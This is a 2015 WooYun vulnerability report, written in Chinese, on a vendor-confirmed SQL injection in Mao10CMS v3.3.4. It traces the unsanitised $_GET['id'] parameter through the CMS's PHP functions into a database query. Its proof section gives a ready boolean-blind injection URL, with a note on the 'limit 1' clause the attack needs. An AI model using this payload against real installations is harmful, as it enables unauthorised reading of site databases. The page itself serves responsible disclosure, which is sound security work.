当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109330

漏洞标题:Mao10CMS v3.3.4 SQL注入(有条件限制)

相关厂商:mao10.com

漏洞作者: xiaoL

提交时间:2015-04-24 18:24

修复时间:2015-07-25 16:44

公开时间:2015-07-25 16:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商已经确认,细节仅向厂商公开
2015-04-29: 细节向第三方安全合作伙伴开放
2015-06-20: 细节向核心白帽子及相关领域专家公开
2015-06-30: 细节向普通白帽子公开
2015-07-10: 细节向实习白帽子公开
2015-07-25: 细节向公众公开

简要描述:

最新版3.3.4。
前台SQL注入。

详细说明:

mao10cms所有的tpl都会调用一个公共的header.php文件。
位于:Theme\default\Public\header.php

<?php echo mc_seo(); ?>  //看这里
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="renderer" content="webkit">


其中存在mc_seo()这个函数。
跟入文件Application\Common\Common\function.php查看mc_seo()的代码:

} elseif(MODULE_NAME=='User') {
if(CONTROLLER_NAME=='Index') {
$display_name = mc_user_display_name($_GET['id']); //这里带入了$_GET['id']
if(ACTION_NAME=='index') {


其中有一段带入了$_GET['id'],继续跟mc_user_display_name();
在同一个文件:

//用户昵称
function mc_user_display_name($page_id) {
$user_display_name = mc_get_page_field($page_id,'title'); //继续带入
if($user_display_name) {
return $user_display_name;
} else {
return mc_get_meta($page_id,'user_name',true,'user');
}
};


继续跟:

//调用page字段
function mc_get_page_field($id,$for) {
if($for=='title') {
return M('page')->where("id='$id'")->getField('title'); //直接带入查询了
} elseif($for=='content') {
return M('page')->where("id='$id'")->getField('content');
} elseif($for=='type') {
return M('page')->where("id='$id'")->getField('type');
} elseif($for=='date') {
return M('page')->where("id='$id'")->getField('date');
};
};


到这里触发了漏洞。

漏洞证明:

EXP:
http://127.0.0.1/index.php?m=user&c=index&id=1%27)%20and%201=1%20limit%201--%201
注意:
limit 1是一定需要的,不然无法使用bool值盲注。
真:

1111.png


假:

2222.png


SQL执行情况:

3333.png

修复方案:

过滤

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-26 16:43

厂商回复:

感谢反馈

最新状态:

暂无


漏洞评价:

评论